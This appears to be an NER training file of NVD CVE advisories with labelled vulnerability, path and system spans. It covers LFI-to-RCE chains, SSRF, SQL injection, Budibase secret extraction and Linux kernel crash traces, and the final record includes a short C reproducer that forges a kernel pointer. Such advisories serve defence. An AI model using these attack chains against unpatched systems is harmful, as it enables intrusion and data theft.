{"text": "BoidCMS is an open-source, PHP-based flat-file CMS for building simple websites and blogs, using JSON as its database. Versions prior to 2.1.3 are vulnerable to a critical Local File Inclusion (LFI) attack via the tpl parameter, which can lead to Remote Code Execution (RCE).The application fails to sanitize the tpl (template) parameter during page creation and updates. This parameter is passed directly to a require_once() statement without path validation. An authenticated administrator can exploit this by injecting path traversal sequences (../) into the tpl value to escape the intended theme directory and include arbitrary files — specifically, files from the server's media/ directory. When combined with the file upload functionality, this becomes a full RCE chain: an attacker can first upload a file with embedded PHP code (e.g., disguised as image data), then use the path traversal vulnerability to include that file via require_once(), executing the embedded code with web server privileges. This issue has been fixed in version 2.1.3.", "spans": {"SYSTEM: PHP": [[27, 30], [828, 831]], "VULNERABILITY: Remote Code Execution": [[247, 268]], "VULNERABILITY: Local File Inclusion": [[172, 192]], "VULNERABILITY: path traversal": [[522, 536], [883, 897]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39387"}}
{"text": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. Prior to versions 26.0.5, 27.0.2, and 28.0.0, an authenticated user with sufficient privileges can exploit a path traversal vulnerability to upload a malicious file to an arbitrary location on the server. Once uploaded, the file can be used to achieve remote code execution (RCE). An attacker must be authenticated and have the appropriate permissions to exploit this issue. If the server is configured as read-only, remote code execution (RCE) is not possible; however, the malicious file upload may still be achievable. This problem is fixed in LORIS v26.0.5 and above, v27.0.2 and above, and v28.0.0 and above. As a workaround, LORIS administrators can disable the media module if it is not being used.", "spans": {"VULNERABILITY: remote code execution": [[411, 432], [576, 597]], "VULNERABILITY: path traversal": [[268, 282]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26984"}}
{"text": "Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, Ech0 implements link preview (editor fetches a page title) through GET /api/website/title. That is legitimate product behavior, but the implementation is unsafe: the route is unauthenticated, accepts a fully attacker-controlled URL, performs a server-side GET, reads the entire response body into memory (io.ReadAll). There is no host allowlist, no SSRF filter, and InsecureSkipVerify: true on the outbound client. Anyone who can reach the instance can force the Ech0 server to open HTTP/HTTPS URLs of their choice as seen from the server’s network position (Docker bridge, VPC, localhost from the process view). This vulnerability is fixed in 4.2.8.", "spans": {"FILEPATH: /api/website/title.": [[170, 189]], "ORGANIZATION: Docker": [[658, 664]], "VULNERABILITY: SSRF": [[448, 452]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35036"}}
{"text": "Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. This vulnerability is fixed in 2.5.27 and 2.6.10.", "spans": {"FILEPATH: /api/v1": [[373, 380]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26190"}}
{"text": "Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Attachments / File Upload). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data. CVSS 3.0 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [302, 308], [450, 456], [646, 652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2566"}}
{"text": "Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.", "spans": {"URL: https://github.com/CachetHQ/Cachet": [[347, 381]], "VULNERABILITY: SQL injection": [[92, 105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39165"}}
{"text": "Uncontrolled resource consumption vulnerability in MELSEC iQ-R Series modules (R00/01/02CPU firmware version '19' and earlier, R04/08/16/32/120 (EN) CPU firmware version '51' and earlier, R08/16/32/120SFCPU firmware version '22' and earlier, R08/16/32/120PCPU firmware version '25' and earlier, R08/16/32/120PSFCPU firmware version '06' and earlier, RJ71EN71 firmware version '47' and earlier, RJ71GF11-T2 firmware version '47' and earlier, RJ72GF15-T2 firmware version '07' and earlier, RJ71GP21-SX firmware version '47' and earlier, RJ71GP21S-SX firmware version '47' and earlier, and RJ71GN11-T2 firmware version '11' and earlier) allows a remote unauthenticated attacker to cause an error in a CPU unit and cause a denial-of-service (DoS) condition in execution of the program and its communication, or to cause a denial-of-service (DoS) condition in communication via the unit by receiving a specially crafted SLMP packet", "spans": {"FILEPATH: /01/02CPU": [[82, 91]], "FILEPATH: /08/16/32/120": [[130, 143]], "FILEPATH: /16/32/120SFCPU": [[191, 206]], "FILEPATH: /16/32/120PCPU": [[245, 259]], "FILEPATH: /16/32/120PSFCPU": [[298, 314]], "VULNERABILITY: Uncontrolled resource consumption": [[0, 33]], "VULNERABILITY: denial-of-service": [[719, 736], [818, 835]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5668"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: vmbus: Fix initialization of device object in vmbus_device_register()\n\nInitialize the device's dma_{mask,parms} pointers and the device's\ndma_mask value before invoking device_register().  Address the\nfollowing trace with 5.17-rc7:\n\n[   49.646839] WARNING: CPU: 0 PID: 189 at include/linux/dma-mapping.h:543\n\tnetvsc_probe+0x37a/0x3a0 [hv_netvsc]\n[   49.646928] Call Trace:\n[   49.646930]  <TASK>\n[   49.646935]  vmbus_probe+0x40/0x60 [hv_vmbus]\n[   49.646942]  really_probe+0x1ce/0x3b0\n[   49.646948]  __driver_probe_device+0x109/0x180\n[   49.646952]  driver_probe_device+0x23/0xa0\n[   49.646955]  __device_attach_driver+0x76/0xe0\n[   49.646958]  ? driver_allows_async_probing+0x50/0x50\n[   49.646961]  bus_for_each_drv+0x84/0xd0\n[   49.646964]  __device_attach+0xed/0x170\n[   49.646967]  device_initial_probe+0x13/0x20\n[   49.646970]  bus_probe_device+0x8f/0xa0\n[   49.646973]  device_add+0x41a/0x8e0\n[   49.646975]  ? hrtimer_init+0x28/0x80\n[   49.646981]  device_register+0x1b/0x20\n[   49.646983]  vmbus_device_register+0x5e/0xf0 [hv_vmbus]\n[   49.646991]  vmbus_add_channel_work+0x12d/0x190 [hv_vmbus]\n[   49.646999]  process_one_work+0x21d/0x3f0\n[   49.647002]  worker_thread+0x4a/0x3b0\n[   49.647005]  ? process_one_work+0x3f0/0x3f0\n[   49.647007]  kthread+0xff/0x130\n[   49.647011]  ? kthread_complete_and_exit+0x20/0x20\n[   49.647015]  ret_from_fork+0x22/0x30\n[   49.647020]  </TASK>\n[   49.647021] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: /linux/dma-mapping.h": [[365, 385]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49099"}}
{"text": "A flaw was found in dnsmasq before 2.83. A buffer overflow vulnerability was discovered in the way dnsmasq extract names from DNS packets before validating them with DNSSEC data. An attacker on the network, who can create valid DNS replies, could use this flaw to cause an overflow with arbitrary data in a heap-allocated memory, possibly executing code on the machine. The flaw is in the rfc1035.c:extract_name() function, which writes data to the memory pointed by name assuming MAXDNAME*2 bytes are available in the buffer. However, in some code execution paths, it is possible extract_name() gets passed an offset from the base buffer, thus reducing, in practice, the number of available bytes that can be written in the buffer. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "spans": {"FILEPATH: rfc1035.c": [[389, 398]], "VULNERABILITY: buffer overflow": [[43, 58]], "VULNERABILITY: code execution": [[544, 558]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25682"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-core: fix memory leak in dhchap_secret_store\n\nFree dhchap_secret in nvme_ctrl_dhchap_secret_store() before we return\nfix following kmemleack:-\n\nunreferenced object 0xffff8886376ea800 (size 64):\n  comm \"check\", pid 22048, jiffies 4344316705 (age 92.199s)\n  hex dump (first 32 bytes):\n    44 48 48 43 2d 31 3a 30 30 3a 6e 78 72 35 4b 67  DHHC-1:00:nxr5Kg\n    75 58 34 75 6f 41 78 73 4a 61 34 63 2f 68 75 4c  uX4uoAxsJa4c/huL\n  backtrace:\n    [<0000000030ce5d4b>] __kmalloc+0x4b/0x130\n    [<000000009be1cdc1>] nvme_ctrl_dhchap_secret_store+0x8f/0x160 [nvme_core]\n    [<00000000ac06c96a>] kernfs_fop_write_iter+0x12b/0x1c0\n    [<00000000437e7ced>] vfs_write+0x2ba/0x3c0\n    [<00000000f9491baf>] ksys_write+0x5f/0xe0\n    [<000000001c46513d>] do_syscall_64+0x3b/0x90\n    [<00000000ecf348fe>] entry_SYSCALL_64_after_hwframe+0x72/0xdc\nunreferenced object 0xffff8886376eaf00 (size 64):\n  comm \"check\", pid 22048, jiffies 4344316736 (age 92.168s)\n  hex dump (first 32 bytes):\n    44 48 48 43 2d 31 3a 30 30 3a 6e 78 72 35 4b 67  DHHC-1:00:nxr5Kg\n    75 58 34 75 6f 41 78 73 4a 61 34 63 2f 68 75 4c  uX4uoAxsJa4c/huL\n  backtrace:\n    [<0000000030ce5d4b>] __kmalloc+0x4b/0x130\n    [<000000009be1cdc1>] nvme_ctrl_dhchap_secret_store+0x8f/0x160 [nvme_core]\n    [<00000000ac06c96a>] kernfs_fop_write_iter+0x12b/0x1c0\n    [<00000000437e7ced>] vfs_write+0x2ba/0x3c0\n    [<00000000f9491baf>] ksys_write+0x5f/0xe0\n    [<000000001c46513d>] do_syscall_64+0x3b/0x90\n    [<00000000ecf348fe>] entry_SYSCALL_64_after_hwframe+0x72/0xdc", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[84, 95]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53852"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: DPLL, Fix possible use after free after delayed work timer triggers\n\nI managed to hit following use after free warning recently:\n\n[ 2169.711665] ==================================================================\n[ 2169.714009] BUG: KASAN: slab-use-after-free in __run_timers.part.0+0x179/0x4c0\n[ 2169.716293] Write of size 8 at addr ffff88812b326a70 by task swapper/4/0\n\n[ 2169.719022] CPU: 4 PID: 0 Comm: swapper/4 Not tainted 6.8.0-rc2jiri+ #2\n[ 2169.720974] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[ 2169.722457] Call Trace:\n[ 2169.722756]  <IRQ>\n[ 2169.723024]  dump_stack_lvl+0x58/0xb0\n[ 2169.723417]  print_report+0xc5/0x630\n[ 2169.723807]  ? __virt_addr_valid+0x126/0x2b0\n[ 2169.724268]  kasan_report+0xbe/0xf0\n[ 2169.724667]  ? __run_timers.part.0+0x179/0x4c0\n[ 2169.725116]  ? __run_timers.part.0+0x179/0x4c0\n[ 2169.725570]  __run_timers.part.0+0x179/0x4c0\n[ 2169.726003]  ? call_timer_fn+0x320/0x320\n[ 2169.726404]  ? lock_downgrade+0x3a0/0x3a0\n[ 2169.726820]  ? kvm_clock_get_cycles+0x14/0x20\n[ 2169.727257]  ? ktime_get+0x92/0x150\n[ 2169.727630]  ? lapic_next_deadline+0x35/0x60\n[ 2169.728069]  run_timer_softirq+0x40/0x80\n[ 2169.728475]  __do_softirq+0x1a1/0x509\n[ 2169.728866]  irq_exit_rcu+0x95/0xc0\n[ 2169.729241]  sysvec_apic_timer_interrupt+0x6b/0x80\n[ 2169.729718]  </IRQ>\n[ 2169.729993]  <TASK>\n[ 2169.730259]  asm_sysvec_apic_timer_interrupt+0x16/0x20\n[ 2169.730755] RIP: 0010:default_idle+0x13/0x20\n[ 2169.731190] Code: c0 08 00 00 00 4d 29 c8 4c 01 c7 4c 29 c2 e9 72 ff ff ff cc cc cc cc 8b 05 9a 7f 1f 02 85 c0 7e 07 0f 00 2d cf 69 43 00 fb f4 <fa> c3 66 66 2e 0f 1f 84 00 00 00 00 00 65 48 8b 04 25 c0 93 04 00\n[ 2169.732759] RSP: 0018:ffff888100dbfe10 EFLAGS: 00000242\n[ 2169.733264] RAX: 0000000000000001 RBX: ffff888100d9c200 RCX: ffffffff8241bd62\n[ 2169.733925] RDX: ffffed109a848b15 RSI: 0000000000000004 RDI: ffffffff8127ac55\n[ 2169.734566] RBP: 0000000000000004 R08: 0000000000000000 R09: ffffed109a848b14\n[ 2169.735200] R10: ffff8884d42458a3 R11: 000000000000ba7e R12: ffffffff83d7d3a0\n[ 2169.735835] R13: 1ffff110201b7fc6 R14: 0000000000000000 R15: ffff888100d9c200\n[ 2169.736478]  ? ct_kernel_exit.constprop.0+0xa2/0xc0\n[ 2169.736954]  ? do_idle+0x285/0x290\n[ 2169.737323]  default_idle_call+0x63/0x90\n[ 2169.737730]  do_idle+0x285/0x290\n[ 2169.738089]  ? arch_cpu_idle_exit+0x30/0x30\n[ 2169.738511]  ? mark_held_locks+0x1a/0x80\n[ 2169.738917]  ? lockdep_hardirqs_on_prepare+0x12e/0x200\n[ 2169.739417]  cpu_startup_entry+0x30/0x40\n[ 2169.739825]  start_secondary+0x19a/0x1c0\n[ 2169.740229]  ? set_cpu_sibling_map+0xbd0/0xbd0\n[ 2169.740673]  secondary_startup_64_no_verify+0x15d/0x16b\n[ 2169.741179]  </TASK>\n\n[ 2169.741686] Allocated by task 1098:\n[ 2169.742058]  kasan_save_stack+0x1c/0x40\n[ 2169.742456]  kasan_save_track+0x10/0x30\n[ 2169.742852]  __kasan_kmalloc+0x83/0x90\n[ 2169.743246]  mlx5_dpll_probe+0xf5/0x3c0 [mlx5_dpll]\n[ 2169.743730]  auxiliary_bus_probe+0x62/0xb0\n[ 2169.744148]  really_probe+0x127/0x590\n[ 2169.744534]  __driver_probe_device+0xd2/0x200\n[ 2169.744973]  device_driver_attach+0x6b/0xf0\n[ 2169.745402]  bind_store+0x90/0xe0\n[ 2169.745761]  kernfs_fop_write_iter+0x1df/0x2a0\n[ 2169.746210]  vfs_write+0x41f/0x790\n[ 2169.746579]  ksys_write+0xc7/0x160\n[ 2169.746947]  do_syscall_64+0x6f/0x140\n[ 2169.747333]  entry_SYSCALL_64_after_hwframe+0x46/0x4e\n\n[ 2169.748049] Freed by task 1220:\n[ 2169.748393]  kasan_save_stack+0x1c/0x40\n[ 2169.748789]  kasan_save_track+0x10/0x30\n[ 2169.749188]  kasan_save_free_info+0x3b/0x50\n[ 2169.749621]  poison_slab_object+0x106/0x180\n[ 2169.750044]  __kasan_slab_free+0x14/0x50\n[ 2169.750451]  kfree+0x118/0x330\n[ 2169.750792]  mlx5_dpll_remove+0xf5/0x110 [mlx5_dpll]\n[ 2169.751271]  auxiliary_bus_remove+0x2e/0x40\n[ 2169.751694]  device_release_driver_internal+0x24b/0x2e0\n[ 2169.752191]  unbind_store+0xa6/0xb0\n[ 2169.752563]  kernfs_fo\n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[597, 641]], "FILEPATH: /4/0": [[444, 448]], "FILEPATH: /01/2014": [[644, 652]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[555, 559]], "VULNERABILITY: use after free": [[98, 112], [175, 189]], "VULNERABILITY: use-after-free": [[323, 337]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26724"}}
{"text": "Budibase is a low code platform for creating internal tools, workflows, and admin panels. Prior to version 3.30.4, an unsafe `eval()` vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization. The primary impact comes from what lives inside the pod's environment: the `app-service` pod runs with secrets baked into its environment variables, including `INTERNAL_API_KEY`, `JWT_SECRET`, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable. Version 3.30.4 contains a patch.", "spans": {"FILEPATH: /server/src/db/inMemoryView.ts": [[471, 501]], "ORGANIZATION: AWS": [[809, 812]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27702"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values\n\nsyzbot is able to trigger softlockups, setting NL80211_ATTR_TXQ_QUANTUM\nto 2^31.\n\nWe had a similar issue in sch_fq, fixed with commit\nd9e15a273306 (\"pkt_sched: fq: do not accept silly TCA_FQ_QUANTUM\")\n\nwatchdog: BUG: soft lockup - CPU#1 stuck for 26s! [kworker/1:0:24]\nModules linked in:\nirq event stamp: 131135\n hardirqs last  enabled at (131134): [<ffff80008ae8778c>] __exit_to_kernel_mode arch/arm64/kernel/entry-common.c:85 [inline]\n hardirqs last  enabled at (131134): [<ffff80008ae8778c>] exit_to_kernel_mode+0xdc/0x10c arch/arm64/kernel/entry-common.c:95\n hardirqs last disabled at (131135): [<ffff80008ae85378>] __el1_irq arch/arm64/kernel/entry-common.c:533 [inline]\n hardirqs last disabled at (131135): [<ffff80008ae85378>] el1_interrupt+0x24/0x68 arch/arm64/kernel/entry-common.c:551\n softirqs last  enabled at (125892): [<ffff80008907e82c>] neigh_hh_init net/core/neighbour.c:1538 [inline]\n softirqs last  enabled at (125892): [<ffff80008907e82c>] neigh_resolve_output+0x268/0x658 net/core/neighbour.c:1553\n softirqs last disabled at (125896): [<ffff80008904166c>] local_bh_disable+0x10/0x34 include/linux/bottom_half.h:19\nCPU: 1 PID: 24 Comm: kworker/1:0 Not tainted 6.9.0-rc7-syzkaller-gfda5695d692c #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nWorkqueue: mld mld_ifc_work\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __list_del include/linux/list.h:195 [inline]\n pc : __list_del_entry include/linux/list.h:218 [inline]\n pc : list_move_tail include/linux/list.h:310 [inline]\n pc : fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n pc : ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854\n lr : __list_del_entry include/linux/list.h:218 [inline]\n lr : list_move_tail include/linux/list.h:310 [inline]\n lr : fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n lr : ieee80211_tx_dequeue+0x67c/0x3b4c net/mac80211/tx.c:3854\nsp : ffff800093d36700\nx29: ffff800093d36a60 x28: ffff800093d36960 x27: dfff800000000000\nx26: ffff0000d800ad50 x25: ffff0000d800abe0 x24: ffff0000d800abf0\nx23: ffff0000e0032468 x22: ffff0000e00324d4 x21: ffff0000d800abf0\nx20: ffff0000d800abf8 x19: ffff0000d800abf0 x18: ffff800093d363c0\nx17: 000000000000d476 x16: ffff8000805519dc x15: ffff7000127a6cc8\nx14: 1ffff000127a6cc8 x13: 0000000000000004 x12: ffffffffffffffff\nx11: ffff7000127a6cc8 x10: 0000000000ff0100 x9 : 0000000000000000\nx8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\nx5 : ffff80009287aa08 x4 : 0000000000000008 x3 : ffff80008034c7fc\nx2 : ffff0000e0032468 x1 : 00000000da0e46b8 x0 : ffff0000e0032470\nCall trace:\n  __list_del include/linux/list.h:195 [inline]\n  __list_del_entry include/linux/list.h:218 [inline]\n  list_move_tail include/linux/list.h:310 [inline]\n  fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n  ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854\n  wake_tx_push_queue net/mac80211/util.c:294 [inline]\n  ieee80211_handle_wake_tx_queue+0x118/0x274 net/mac80211/util.c:315\n  drv_wake_tx_queue net/mac80211/driver-ops.h:1350 [inline]\n  schedule_and_wake_txq net/mac80211/driver-ops.h:1357 [inline]\n  ieee80211_queue_skb+0x18e8/0x2244 net/mac80211/tx.c:1664\n  ieee80211_tx+0x260/0x400 net/mac80211/tx.c:1966\n  ieee80211_xmit+0x278/0x354 net/mac80211/tx.c:2062\n  __ieee80211_subif_start_xmit+0xab8/0x122c net/mac80211/tx.c:4338\n  ieee80211_subif_start_xmit+0xe0/0x438 net/mac80211/tx.c:4532\n  __netdev_start_xmit include/linux/netdevice.h:4903 [inline]\n  netdev_start_xmit include/linux/netdevice.h:4917 [inline]\n  xmit_one net/core/dev.c:3531 [inline]\n  dev_hard_start_xmit+0x27c/0x938 net/core/dev.c:3547\n  __dev_queue_xmit+0x1678/0x33fc net/core/dev.c:4341\n  dev_queue_xmit include/linux/netdevice.h:3091 [inline]\n  neigh_resolve_output+0x558/0x658 net/core/neighbour.c:1563\n  neigh_output include/net/neighbour.h:542 [inline]\n  ip6_fini\n---truncated---", "spans": {"FILEPATH: /arm64/kernel/entry-common.c": [[523, 551], [657, 685], [761, 789], [889, 917]], "FILEPATH: /core/neighbour.c": [[997, 1014], [1123, 1140], [3897, 3914]], "FILEPATH: /linux/bottom_half.h": [[1238, 1258]], "FILEPATH: /27/2024": [[1425, 1433]], "FILEPATH: /linux/list.h": [[1550, 1563], [1607, 1620], [1662, 1675], [1838, 1851], [1893, 1906], [2753, 2766], [2806, 2819], [2857, 2870]], "FILEPATH: /net/fq_impl.h": [[1717, 1731], [1948, 1962], [2908, 2922]], "FILEPATH: /mac80211/tx.c": [[1788, 1802], [2019, 2033], [2975, 2989], [3281, 3295], [3331, 3345], [3383, 3397], [3450, 3464], [3513, 3527]], "FILEPATH: /mac80211/util.c": [[3019, 3035], [3097, 3113]], "FILEPATH: /mac80211/driver-ops.h": [[3141, 3163], [3205, 3227]], "FILEPATH: /linux/netdevice.h": [[3562, 3580], [3622, 3640], [3826, 3844]], "FILEPATH: /core/dev.c": [[3669, 3680], [3732, 3743], [3785, 3796]], "FILEPATH: /net/neighbour.h": [[3942, 3958]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1359, 1365], [1366, 1372], [1388, 1394], [1416, 1422]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42114"}}
{"text": "An exploitable code execution vulnerability exists in the rendering functionality of Nitro Pro 13.13.2.242 and 13.16.2.300. When drawing the contents of a page and selecting the stroke color from an 'ICCBased' colorspace, the application will read a length from the file and use it as a loop sentinel when writing data into the member of an object. Due to the object member being a buffer of a static size allocated on the heap, this can result in a heap-based buffer overflow. A specially crafted document must be loaded by a victim in order to trigger this vulnerability.", "spans": {"IP_ADDRESS: 13.13.2.242": [[95, 106]], "IP_ADDRESS: 13.16.2.300": [[111, 122]], "VULNERABILITY: heap-based buffer overflow": [[450, 476]], "VULNERABILITY: code execution": [[15, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-6146"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp - Fix null pointer dereference in __sev_platform_shutdown_locked\n\nThe SEV platform device can be shutdown with a null psp_master,\ne.g., using DEBUG_TEST_DRIVER_REMOVE.  Found using KASAN:\n\n[  137.148210] ccp 0000:23:00.1: enabling device (0000 -> 0002)\n[  137.162647] ccp 0000:23:00.1: no command queues available\n[  137.170598] ccp 0000:23:00.1: sev enabled\n[  137.174645] ccp 0000:23:00.1: psp enabled\n[  137.178890] general protection fault, probably for non-canonical address 0xdffffc000000001e: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN NOPTI\n[  137.182693] KASAN: null-ptr-deref in range [0x00000000000000f0-0x00000000000000f7]\n[  137.182693] CPU: 93 PID: 1 Comm: swapper/0 Not tainted 6.8.0-rc1+ #311\n[  137.182693] RIP: 0010:__sev_platform_shutdown_locked+0x51/0x180\n[  137.182693] Code: 08 80 3c 08 00 0f 85 0e 01 00 00 48 8b 1d 67 b6 01 08 48 b8 00 00 00 00 00 fc ff df 48 8d bb f0 00 00 00 48 89 f9 48 c1 e9 03 <80> 3c 01 00 0f 85 fe 00 00 00 48 8b 9b f0 00 00 00 48 85 db 74 2c\n[  137.182693] RSP: 0018:ffffc900000cf9b0 EFLAGS: 00010216\n[  137.182693] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 000000000000001e\n[  137.182693] RDX: 0000000000000000 RSI: 0000000000000008 RDI: 00000000000000f0\n[  137.182693] RBP: ffffc900000cf9c8 R08: 0000000000000000 R09: fffffbfff58f5a66\n[  137.182693] R10: ffffc900000cf9c8 R11: ffffffffac7ad32f R12: ffff8881e5052c28\n[  137.182693] R13: ffff8881e5052c28 R14: ffff8881758e43e8 R15: ffffffffac64abf8\n[  137.182693] FS:  0000000000000000(0000) GS:ffff889de7000000(0000) knlGS:0000000000000000\n[  137.182693] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  137.182693] CR2: 0000000000000000 CR3: 0000001cf7c7e000 CR4: 0000000000350ef0\n[  137.182693] Call Trace:\n[  137.182693]  <TASK>\n[  137.182693]  ? show_regs+0x6c/0x80\n[  137.182693]  ? __die_body+0x24/0x70\n[  137.182693]  ? die_addr+0x4b/0x80\n[  137.182693]  ? exc_general_protection+0x126/0x230\n[  137.182693]  ? asm_exc_general_protection+0x2b/0x30\n[  137.182693]  ? __sev_platform_shutdown_locked+0x51/0x180\n[  137.182693]  sev_firmware_shutdown.isra.0+0x1e/0x80\n[  137.182693]  sev_dev_destroy+0x49/0x100\n[  137.182693]  psp_dev_destroy+0x47/0xb0\n[  137.182693]  sp_destroy+0xbb/0x240\n[  137.182693]  sp_pci_remove+0x45/0x60\n[  137.182693]  pci_device_remove+0xaa/0x1d0\n[  137.182693]  device_remove+0xc7/0x170\n[  137.182693]  really_probe+0x374/0xbe0\n[  137.182693]  ? srso_return_thunk+0x5/0x5f\n[  137.182693]  __driver_probe_device+0x199/0x460\n[  137.182693]  driver_probe_device+0x4e/0xd0\n[  137.182693]  __driver_attach+0x191/0x3d0\n[  137.182693]  ? __pfx___driver_attach+0x10/0x10\n[  137.182693]  bus_for_each_dev+0x100/0x190\n[  137.182693]  ? __pfx_bus_for_each_dev+0x10/0x10\n[  137.182693]  ? __kasan_check_read+0x15/0x20\n[  137.182693]  ? srso_return_thunk+0x5/0x5f\n[  137.182693]  ? _raw_spin_unlock+0x27/0x50\n[  137.182693]  driver_attach+0x41/0x60\n[  137.182693]  bus_add_driver+0x2a8/0x580\n[  137.182693]  driver_register+0x141/0x480\n[  137.182693]  __pci_register_driver+0x1d6/0x2a0\n[  137.182693]  ? srso_return_thunk+0x5/0x5f\n[  137.182693]  ? esrt_sysfs_init+0x1cd/0x5d0\n[  137.182693]  ? __pfx_sp_mod_init+0x10/0x10\n[  137.182693]  sp_pci_init+0x22/0x30\n[  137.182693]  sp_mod_init+0x14/0x30\n[  137.182693]  ? __pfx_sp_mod_init+0x10/0x10\n[  137.182693]  do_one_initcall+0xd1/0x470\n[  137.182693]  ? __pfx_do_one_initcall+0x10/0x10\n[  137.182693]  ? parameq+0x80/0xf0\n[  137.182693]  ? srso_return_thunk+0x5/0x5f\n[  137.182693]  ? __kmalloc+0x3b0/0x4e0\n[  137.182693]  ? kernel_init_freeable+0x92d/0x1050\n[  137.182693]  ? kasan_populate_vmalloc_pte+0x171/0x190\n[  137.182693]  ? srso_return_thunk+0x5/0x5f\n[  137.182693]  kernel_init_freeable+0xa64/0x1050\n[  137.182693]  ? __pfx_kernel_init+0x10/0x10\n[  137.182693]  kernel_init+0x24/0x160\n[  137.182693]  ? __switch_to_asm+0x3e/0x70\n[  137.182693]  ret_from_fork+0x40/0x80\n[  137.182693]  ? __pfx_kernel_init+0x1\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[87, 111]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26695"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: atm: fix crash due to unvalidated vcc pointer in sigd_send()\n\nReproducer available at [1].\n\nThe ATM send path (sendmsg -> vcc_sendmsg -> sigd_send) reads the vcc\npointer from msg->vcc and uses it directly without any validation. This\npointer comes from userspace via sendmsg() and can be arbitrarily forged:\n\n    int fd = socket(AF_ATMSVC, SOCK_DGRAM, 0);\n    ioctl(fd, ATMSIGD_CTRL);  // become ATM signaling daemon\n    struct msghdr msg = { .msg_iov = &iov, ... };\n    *(unsigned long *)(buf + 4) = 0xdeadbeef;  // fake vcc pointer\n    sendmsg(fd, &msg, 0);  // kernel dereferences 0xdeadbeef\n\nIn normal operation, the kernel sends the vcc pointer to the signaling\ndaemon via sigd_enq() when processing operations like connect(), bind(),\nor listen(). The daemon is expected to return the same pointer when\nresponding. However, a malicious daemon can send arbitrary pointer values.\n\nFix this by introducing find_get_vcc() which validates the pointer by\nsearching through vcc_hash (similar to how sigd_close() iterates over\nall VCCs), and acquires a reference via sock_hold() if found.\n\nSince struct atm_vcc embeds struct sock as its first member, they share\nthe same lifetime. Therefore using sock_hold/sock_put is sufficient to\nkeep the vcc alive while it is being used.\n\nNote that there may be a race with 